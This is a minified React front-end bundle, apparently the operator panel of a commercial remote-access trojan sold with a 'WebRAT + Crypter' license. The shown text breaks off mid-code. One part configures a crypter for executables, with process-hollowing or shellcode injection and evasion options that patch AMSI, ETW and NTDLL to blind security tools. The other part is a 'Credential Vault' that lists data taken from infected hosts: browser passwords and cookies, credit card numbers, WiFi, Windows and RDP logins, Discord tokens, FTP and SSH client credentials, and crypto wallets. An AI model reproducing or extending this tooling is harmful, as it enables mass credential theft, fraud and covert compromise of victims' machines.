text-zerin-text-muted mt-1",children:"Max 50 MB"})]})]}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[a.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-3 uppercase tracking-wider",children:"Injection Mode"}),a.jsxs("div",{className:"grid grid-cols-2 gap-2",children:[a.jsxs("button",{onClick:()=>o("runpe"),className:`p-3 text-left border transition-colors ${s==="runpe"?"border-zerin-accent bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-dim hover:border-zerin-panel-border-hover"}`,children:[a.jsx("div",{className:"font-mono text-sm font-semibold",children:"RunPE"}),a.jsx("div",{className:"text-[11px] text-zerin-text-muted mt-0.5",children:"Process Hollowing"})]}),a.jsxs("button",{onClick:()=>o("shellcode"),className:`p-3 text-left border transition-colors ${s==="shellcode"?"border-zerin-accent bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-dim hover:border-zerin-panel-border-hover"}`,children:[a.jsx("div",{className:"font-mono text-sm font-semibold",children:"Shellcode"}),a.jsx("div",{className:"text-[11px] text-zerin-text-muted mt-0.5",children:"VirtualAlloc + Thread"})]})]})]}),s==="runpe"&&a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[a.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-2 uppercase tracking-wider",children:"Target Process"}),a.jsx("input",{type:"text",value:l,onChange:M=>c(M.target.value),className:"w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2 text-sm font-mono text-zerin-text focus:border-zerin-accent focus:outline-none"})]}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[a.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-2 uppercase tracking-wider",children:"Sleep Delay (seconds)"}),a.jsx("input",{type:"number",min:0,max:300,value:u,onChange:M=>d(Math.max(0,parseInt(M.target.value)||0)),className:"w-24 bg-zerin-bg border border-zerin-panel-border px-3 py-2 text-sm font-mono text-zerin-text focus:border-zerin-accent focus:outline-none"}),a.jsx("span",{className:"text-xs text-zerin-text-muted ml-2",children:"0 = no delay"})]})]}),a.jsxs("div",{className:"space-y-4",children:[a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[a.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-3 uppercase tracking-wider",children:"Evasion Suite"}),a.jsx("div",{className:"grid grid-cols-2 gap-3",children:[{key:"anti_sandbox",label:"Anti-Sandbox",desc:"VM/sandbox detection",value:f,set:p},{key:"anti_debug",label:"Anti-Debug",desc:"Debugger detection",value:h,set:x},{key:"unhook_ntdll",label:"NTDLL Unhook",desc:"Remove EDR hooks",value:g,set:y},{key:"amsi_bypass",label:"AMSI Bypass",desc:"Patch AmsiOpenSession",value:v,set:b},{key:"etw_patch",label:"ETW Patch",desc:"Disable ETW tracing",value:w,set:j}].map(({key:M,label:W,desc:$,value:H,set:F})=>a.jsxs("label",{className:`flex items-start gap-2.5 p-2.5 border cursor-pointer transition-colors ${H?"border-zerin-accent/30 bg-zerin-accent/5":"border-zerin-panel-border hover:border-zerin-panel-border-hover"}`,children:[a.jsx("input",{type:"checkbox",checked:H,onChange:K=>F(K.target.checked),className:"mt-0.5 accent-zerin-accent"}),a.jsxs("div",{children:[a.jsx("div",{className:"text-sm font-mono text-zerin-text",children:W}),a.jsx("div",{className:"text-[11px] text-zerin-text-muted",children:$})]})]},M))})]}),a.jsxs("div",{className:"space-y-3",children:[a.jsx("button",{onClick:D,disabled:!r||N,className:`w-full py-3 font-mono font-semibold text-sm transition-all duration-300 ${!r||N?"bg-zerin-panel border border-zerin-panel-border text-zerin-text-muted cursor-not-allowed":"bg-zerin-accent text-[#04040a] hover:shadow-[0_0_20px_rgba(6,182,212,0.3)]"}`,children:N?"Crypting...":"Crypt"}),(N||k>0)&&a.jsxs("div",{children:[a.jsx("div",{className:"h-1 bg-zerin-panel-border overflow-hidden",children:a.jsx("div",{className:"h-full bg-zerin-accent transition-all duration-500",style:{width:`${k}%`}})}),a.jsxs("div",{className:"flex justify-between mt-1",children:[a.jsx("span",{className:"text-[10px] font-mono text-zerin-text-muted",children:k<20?"Preparing...":k<50?"Encrypting payload...":k<85?"Compiling stub...":k<100?"Finalizing...":"Complete!"}),a.jsxs("span",{className:"text-[10px] font-mono text-zerin-text-muted",children:[k,"%"]})]})]}),A&&a.jsx("div",{className:"p-3 border border-red-500/20 bg-red-500/5 text-red-400 text-sm font-mono",children:A})]}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 text-xs text-zerin-text-muted space-y-1.5 font-mono",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("span",{className:"text-zerin-accent",children:"*"}),a.jsx("span",{children:"XOR + AES-256-CBC layered encryption"})]}),a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("span",{className:"text-zerin-accent",children:"*"}),a.jsx("span",{children:"Random keys per build — no shared signatures"})]}),a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("span",{className:"text-zerin-accent",children:"*"}),a.jsx("span",{children:"Fire-and-forget — no files stored on server"})]})]})]})]})]}):a.jsx("div",{className:"p-6 max-w-2xl mx-auto mt-20",children:a.jsxs("div",{className:"relative bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"auth-corner auth-corner-tl"}),a.jsx("div",{className:"auth-corner auth-corner-tr"}),a.jsx("div",{className:"auth-corner auth-corner-bl"}),a.jsx("div",{className:"auth-corner auth-corner-br"}),a.jsxs("div",{className:"px-8 py-12 text-center",children:[a.jsx("svg",{className:"w-12 h-12 mx-auto mb-4 text-zerin-text-muted",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z"})}),a.jsx("h2",{className:"font-display text-xl font-bold text-zerin-text mb-2",children:"Crypter — Premium Feature"}),a.jsx("p",{className:"text-zerin-text-muted text-sm mb-6 max-w-md mx-auto",children:"The PE crypter is available with the WebRAT + Crypter license. Encrypt any .exe with layered XOR + AES encryption, RunPE / shellcode injection, and configurable evasion features."}),a.jsx(xt,{to:"/#pricing",className:"inline-block bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-6 py-2.5 hover:shadow-[0_0_20px_rgba(6,182,212,0.3)] transition-all duration-300",children:"Upgrade to WebRAT + Crypter"})]})]})})}function MV(e){const t=Date.now()-new Date(e).getTime(),n=Math.floor(t/6e4);if(n<1)return"just now";if(n<60)return`${n}m ago`;const r=Math.floor(n/60);return r<24?`${r}h ago`:`${Math.floor(r/24)}d ago`}function q2(e){const t=new Date(e);return t.toLocaleDateString("en-US",{month:"short",day:"numeric",year:"numeric"})+" "+t.toLocaleTimeString("en-US",{hour:"2-digit",minute:"2-digit"})}function yr(e,t){try{const n=atob(e),r=new Uint8Array(n.length);for(let l=0;la.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})});function LV(){var _,O,P,I,Y,D,M,W,$,H,F,K,Z,oe,de,be,ye,G,te,C,q,ne,B,le,we,Ne,Ae,R,fe,ve,V,ae,U,Q,he,E,ce,J,xe,ke,ze,X,re,se,Oe,et;const[e,t]=m.useState([]),[n,r]=m.useState(!0),[i,s]=m.useState(""),[o,l]=m.useState(null),[c,u]=m.useState(null),[d,f]=m.useState(new Set),[p,h]=m.useState(null),[x,g]=m.useState(""),[y,v]=m.useState(new Set),b=m.useCallback(async()=>{try{const T=await g_();t(T)}catch(T){s(T instanceof Error?T.message:"Failed to load credentials")}finally{r(!1)}},[]);m.useEffect(()=>{b()},[b]);const w=(()=>{const T=new Map;for(const ie of e){let ue=T.get(ie.agent_id);ue||(ue={agent_id:ie.agent_id,hostname:ie.hostname,username:ie.username,os_version:ie.os_version,grabs:[]},T.set(ie.agent_id,ue)),ue.grabs.push({task_id:ie.task_id,output:ie.output,received_at:ie.received_at})}return Array.from(T.values())})(),j=x?w.filter(T=>T.hostname.toLowerCase().includes(x.toLowerCase())||T.username.toLowerCase().includes(x.toLowerCase())||T.agent_id.toLowerCase().includes(x.toLowerCase())):w,N=(T,ie)=>{var ue,lt,Ct,Lt,gr,Qr,Li,_s,Sf,Jr,bt,rn,kv,zv,Sv,Cv,Pv,Ev,_v;l({agent:T,grabIdx:ie});try{const ct=JSON.parse(T.grabs[ie].output);u(ct);const yn=new Set;(((ue=ct.chrome_passwords)==null?void 0:ue.length)??0)+(((lt=ct.firefox_passwords)==null?void 0:lt.length)??0)>0&&yn.add("passwords"),(Ct=ct.chrome_cookies)!=null&&Ct.length&&yn.add("cookies"),(Lt=ct.chrome_cards)!=null&&Lt.length&&yn.add("cards"),(gr=ct.wifi)!=null&&gr.length&&yn.add("wifi"),(Qr=ct.windows_credentials)!=null&&Qr.length&&yn.add("wincreds"),(Li=ct.discord_tokens)!=null&&Li.length&&yn.add("discord"),((_s=ct.telegram)!=null&&_s.found||(Sf=ct.filezilla)!=null&&Sf.length||(Jr=ct.winscp)!=null&&Jr.length||(bt=ct.putty)!=null&&bt.length||(rn=ct.outlook)!=null&&rn.length)&&yn.add("apps"),((kv=ct.steam)!=null&&kv.found||(zv=ct.epic)!=null&&zv.found||(Sv=ct.minecraft)!=null&&Sv.length||(Cv=ct.roblox)!=null&&Cv.found)&&yn.add("gaming"),(Pv=ct.wallets)!=null&&Pv.length&&yn.add("wallets"),(Ev=ct.vpn)!=null&&Ev.length&&yn.add("vpn"),(_v=ct.errors)!=null&&_v.length&&yn.add("errors"),f(yn)}catch{u(null)}},z=T=>{f(ie=>{const ue=new Set(ie);return ue.has(T)?ue.delete(T):ue.add(T),ue})},k=T=>{v(ie=>{const ue=new Set(ie);return ue.has(T)?ue.delete(T):ue.add(T),ue})},S=(T,ie)=>{navigator.clipboard.writeText(T).then(()=>{const ue=ie?ie.clientX:window.innerWidth/2,lt=ie?ie.clientY-30:window.innerHeight/2;h({text:"Copied!",x:ue,y:lt}),setTimeout(()=>h(null),1200)}).catch(()=>{})},A=()=>{if(!c||!o)return;const T=new Blob([JSON.stringify(c,null,2)],{type:"application/json"}),ie=URL.createObjectURL(T),ue=document.createElement("a");ue.href=ie,ue.download=`creds_${o.agent.hostname}_${o.agent.grabs[o.grabIdx].task_id.slice(0,8)}.json`,ue.click(),URL.revokeObjectURL(ie)};return n?a.jsx("div",{className:"flex items-center justify-center h-full",children:a.jsx("div",{className:"w-5 h-5 border-2 border-zerin-accent/30 border-t-zerin-accent rounded-full animate-spin"})}):i?a.jsx("div",{className:"flex items-center justify-center h-full",children:a.jsx("div",{className:"bg-zerin-danger-dim border border-zerin-danger/20 px-6 py-4 text-sm text-zerin-danger max-w-md",children:i})}):a.jsxs("div",{className:"flex h-full animate-fade-in",children:[a.jsxs("div",{className:"w-80 flex-shrink-0 border-r border-zerin-panel-border flex flex-col bg-zerin-panel/50",children:[a.jsxs("div",{className:"px-4 py-4 border-b border-zerin-panel-border",children:[a.jsxs("div",{className:"flex items-center justify-between mb-3",children:[a.jsx("h1",{className:"text-sm font-semibold text-zerin-text tracking-wide",children:"Credentials"}),a.jsxs("span",{className:"text-[10px] font-mono text-zerin-text-muted bg-zerin-panel-hover px-1.5 py-0.5",children:[w.length," client",w.length!==1?"s":""]})]}),a.jsxs("div",{className:"relative",children:[a.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("input",{type:"text",value:x,onChange:T=>g(T.target.value),placeholder:"Filter by host, user, or ID...",className:`w-full bg-zerin-bg border border-zerin-panel-border text-xs text-zerin-text\r + placeholder:text-zerin-text-muted pl-8 pr-3 py-2 focus:outline-none focus:border-zerin-accent/40\r + transition-colors`})]})]}),a.jsx("div",{className:"flex-1 overflow-auto custom-scrollbar",children:j.length===0?a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsx("p",{className:"text-zerin-text-muted text-xs",children:w.length===0?"No credential grabs yet":"No matches"})}):a.jsx("div",{className:"py-1",children:j.map(T=>{const ie=y.has(T.agent_id),ue=(o==null?void 0:o.agent.agent_id)===T.agent_id,lt=T.grabs[0];let Ct=null;try{Ct=JSON.parse(lt.output)}catch{}const Lt=Ct?G2(Ct):0;return a.jsxs("div",{children:[a.jsxs("button",{onClick:()=>{T.grabs.length===1?N(T,0):(k(T.agent_id),!ie&&!ue&&N(T,0))},className:`w-full text-left px-4 py-3 transition-colors border-b border-zerin-panel-border/50 + ${ue?"bg-zerin-accent-muted/60":"hover:bg-zerin-panel-hover"}`,children:[a.jsxs("div",{className:"flex items-start justify-between gap-2",children:[a.jsxs("div",{className:"min-w-0 flex-1",children:[a.jsx("div",{className:"flex items-center gap-2 mb-0.5",children:a.jsx("span",{className:"text-sm font-semibold text-zerin-text truncate",children:T.hostname})}),a.jsxs("div",{className:"flex items-center gap-2 text-[11px]",children:[a.jsx("span",{className:"text-zerin-text-dim font-mono",children:T.username}),a.jsx("span",{className:"text-zerin-text-muted",children:"|"}),a.jsx("span",{className:"text-zerin-text-muted truncate",children:T.os_version})]})]}),a.jsxs("div",{className:"flex flex-col items-end gap-1 flex-shrink-0",children:[a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsxs("span",{className:"text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 px-1.5 py-0.5",children:[T.grabs.length," grab",T.grabs.length!==1?"s":""]}),Lt>0&&a.jsx("span",{className:"text-[10px] font-mono text-amber-400 bg-amber-400/10 px-1.5 py-0.5",children:Lt})]}),a.jsx("span",{className:"text-[10px] text-zerin-text-muted",children:MV(lt.received_at)})]})]}),T.grabs.length>1&&a.jsxs("div",{className:"flex items-center gap-1 mt-1.5",children:[a.jsx("svg",{className:`w-3 h-3 text-zerin-text-muted transition-transform ${ie?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),a.jsxs("span",{className:"text-[10px] text-zerin-text-muted",children:[T.grabs.length," historical grabs"]})]})]}),ie&&T.grabs.length>1&&a.jsx("div",{className:"bg-zerin-bg/50 border-b border-zerin-panel-border/50",children:T.grabs.map((gr,Qr)=>{const Li=(o==null?void 0:o.agent.agent_id)===T.agent_id&&(o==null?void 0:o.grabIdx)===Qr;return a.jsx("button",{onClick:()=>N(T,Qr),className:`w-full text-left px-6 py-2 text-xs transition-colors + ${Li?"bg-zerin-accent-muted/40 text-zerin-accent":"text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-text"}`,children:a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsx("span",{className:"font-mono",children:q2(gr.received_at)}),a.jsx("span",{className:"text-[10px] text-zerin-text-muted font-mono",children:gr.task_id.slice(0,8)})]})},gr.task_id)})})]},T.agent_id)})})})]}),a.jsx("div",{className:"flex-1 overflow-auto custom-scrollbar",children:!o||!c?a.jsx("div",{className:"flex items-center justify-center h-full",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-16 h-16 mx-auto mb-5 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-8 h-8 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 6.375c0 2.278-3.694 4.125-8.25 4.125S3.75 8.653 3.75 6.375m16.5 0c0-2.278-3.694-4.125-8.25-4.125S3.75 4.097 3.75 6.375m16.5 0v11.25c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125V6.375m16.5 0v3.75m-16.5-3.75v3.75m16.5 0v3.75C20.25 16.153 16.556 18 12 18s-8.25-1.847-8.25-4.125v-3.75m16.5 0c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125"})})}),a.jsx("h3",{className:"text-zerin-text font-medium text-sm mb-1",children:"Credential Vault"}),a.jsx("p",{className:"text-zerin-text-muted text-xs max-w-xs",children:"Select a client from the left panel to view their grabbed credentials and session data."})]})}):a.jsxs("div",{className:"animate-fade-in",children:[a.jsx("div",{className:"sticky top-0 z-10 bg-zerin-panel/95 backdrop-blur-sm border-b border-zerin-panel-border px-6 py-4",children:a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsxs("div",{children:[a.jsxs("div",{className:"flex items-center gap-3 mb-1",children:[a.jsx("h2",{className:"text-base font-semibold text-zerin-text",children:o.agent.hostname}),a.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel-hover px-1.5 py-0.5",children:o.agent.agent_id.slice(0,8)})]}),a.jsxs("div",{className:"flex items-center gap-3 text-xs text-zerin-text-dim",children:[a.jsx("span",{className:"font-mono",children:o.agent.username}),a.jsx("span",{className:"text-zerin-text-muted",children:"|"}),a.jsx("span",{children:o.agent.os_version}),a.jsx("span",{className:"text-zerin-text-muted",children:"|"}),a.jsx("span",{children:q2(o.agent.grabs[o.grabIdx].received_at)})]})]}),a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsxs("span",{className:"text-xs font-mono text-zerin-accent bg-zerin-accent/10 px-2 py-1",children:[G2(c)," items"]}),a.jsxs("button",{onClick:A,className:`inline-flex items-center gap-1.5 text-xs font-medium\r + text-zerin-text-dim hover:text-zerin-text\r + bg-zerin-panel hover:bg-zerin-panel-hover\r + border border-zerin-panel-border\r + px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"Export"]})]})]})}),a.jsxs("div",{className:"p-6 space-y-2",children:[a.jsx($n,{title:"Browser Passwords",count:(((_=c.chrome_passwords)==null?void 0:_.length)??0)+(((O=c.firefox_passwords)==null?void 0:O.length)??0),expanded:d.has("passwords"),onToggle:()=>z("passwords"),children:(()=>{const T=[...c.chrome_passwords??[],...c.firefox_passwords??[]];return T.length===0?a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No passwords found"}):a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"URL"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:T.map((ie,ue)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:ie.browser??"Firefox"}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:ie.url}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:lt=>S(ie.username,lt),children:ie.username}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:lt=>S(ie.password,lt),children:ie.password?"••••••••":""})]},ue))})]})})()}),a.jsx($n,{title:"Browser Cookies",count:((P=c.chrome_cookies)==null?void 0:P.length)??0,expanded:d.has("cookies"),onToggle:()=>z("cookies"),children:(I=c.chrome_cookies)!=null&&I.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Host"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Value"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.chrome_cookies.map((T,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:T.browser}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:T.host}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:T.name}),a.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate cursor-pointer hover:text-zerin-accent",onClick:ue=>S(T.value,ue),children:[T.value.slice(0,40),"..."]})]},ie))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No cookies found"})}),a.jsx($n,{title:"Credit Cards",count:((Y=c.chrome_cards)==null?void 0:Y.length)??0,expanded:d.has("cards"),onToggle:()=>z("cards"),children:(D=c.chrome_cards)!=null&&D.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Number"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Exp"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.chrome_cards.map((T,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:T.browser}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text",children:T.name}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ue=>S(T.number,ue),children:T.number}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:T.exp})]},ie))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No credit cards found"})}),a.jsx($n,{title:"WiFi Passwords",count:((M=c.wifi)==null?void 0:M.length)??0,expanded:d.has("wifi"),onToggle:()=>z("wifi"),children:(W=c.wifi)!=null&&W.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"SSID"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Auth"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.wifi.map((T,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-medium",children:T.ssid}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:T.auth}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ue=>S(T.password,ue),children:T.password||"(none)"})]},ie))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No WiFi passwords found"})}),a.jsx($n,{title:"Windows Credentials",count:(($=c.windows_credentials)==null?void 0:$.length)??0,expanded:d.has("wincreds"),onToggle:()=>z("wincreds"),children:(H=c.windows_credentials)!=null&&H.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Target"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Type"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.windows_credentials.map((T,ie)=>a.jsxs("tr",{className:`hover:bg-zerin-panel-hover ${T.is_rdp?"bg-zerin-accent-muted/30":""}`,children:[a.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:[T.is_rdp&&a.jsx("span",{className:"text-zerin-accent font-medium mr-1",children:"[RDP]"}),T.target]}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ue=>S(T.username,ue),children:T.username}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ue=>S(T.password,ue),children:T.password?"••••••••":""}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:T.type})]},ie))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No Windows credentials found"})}),a.jsx($n,{title:"Discord Tokens",count:((F=c.discord_tokens)==null?void 0:F.length)??0,expanded:d.has("discord"),onToggle:()=>z("discord"),children:(K=c.discord_tokens)!=null&&K.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Source"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Type"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Token"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.discord_tokens.map((T,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:T.source}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:T.type}),a.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent max-w-[300px] truncate",onClick:ue=>S(T.token,ue),children:[T.token.slice(0,20),"..."]})]},ie))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No Discord tokens found"})}),a.jsx($n,{title:"Applications",count:((Z=c.telegram)!=null&&Z.found?1:0)+(((oe=c.filezilla)==null?void 0:oe.length)??0)+(((de=c.winscp)==null?void 0:de.length)??0)+(((be=c.putty)==null?void 0:be.length)??0)+(((ye=c.outlook)==null?void 0:ye.length)??0),expanded:d.has("apps"),onToggle:()=>z("apps"),children:a.jsxs("div",{className:"space-y-3 p-4",children:[((G=c.telegram)==null?void 0:G.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Telegram"}),a.jsx("p",{className:"text-xs text-zerin-text font-mono mb-1",children:a.jsx("span",{className:"text-zerin-accent cursor-pointer",onClick:T=>S(c.telegram.path,T),children:c.telegram.path})}),(((te=c.telegram.files)==null?void 0:te.length)??0)>0&&a.jsx("div",{className:"flex flex-wrap gap-1.5 mt-1",children:c.telegram.files.map((T,ie)=>a.jsxs("button",{onClick:()=>yr(T.data,T.name),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," ",T.name]},ie))})]}),(((C=c.filezilla)==null?void 0:C.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["FileZilla (",c.filezilla.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.filezilla.map((T,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[T.host,":",T.port]}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:T.user}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ue=>S(T.password,ue),children:T.password?"••••••••":""})]},ie))})})]}),(((q=c.winscp)==null?void 0:q.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["WinSCP (",c.winscp.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.winscp.map((T,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:T.host}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:T.user}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer 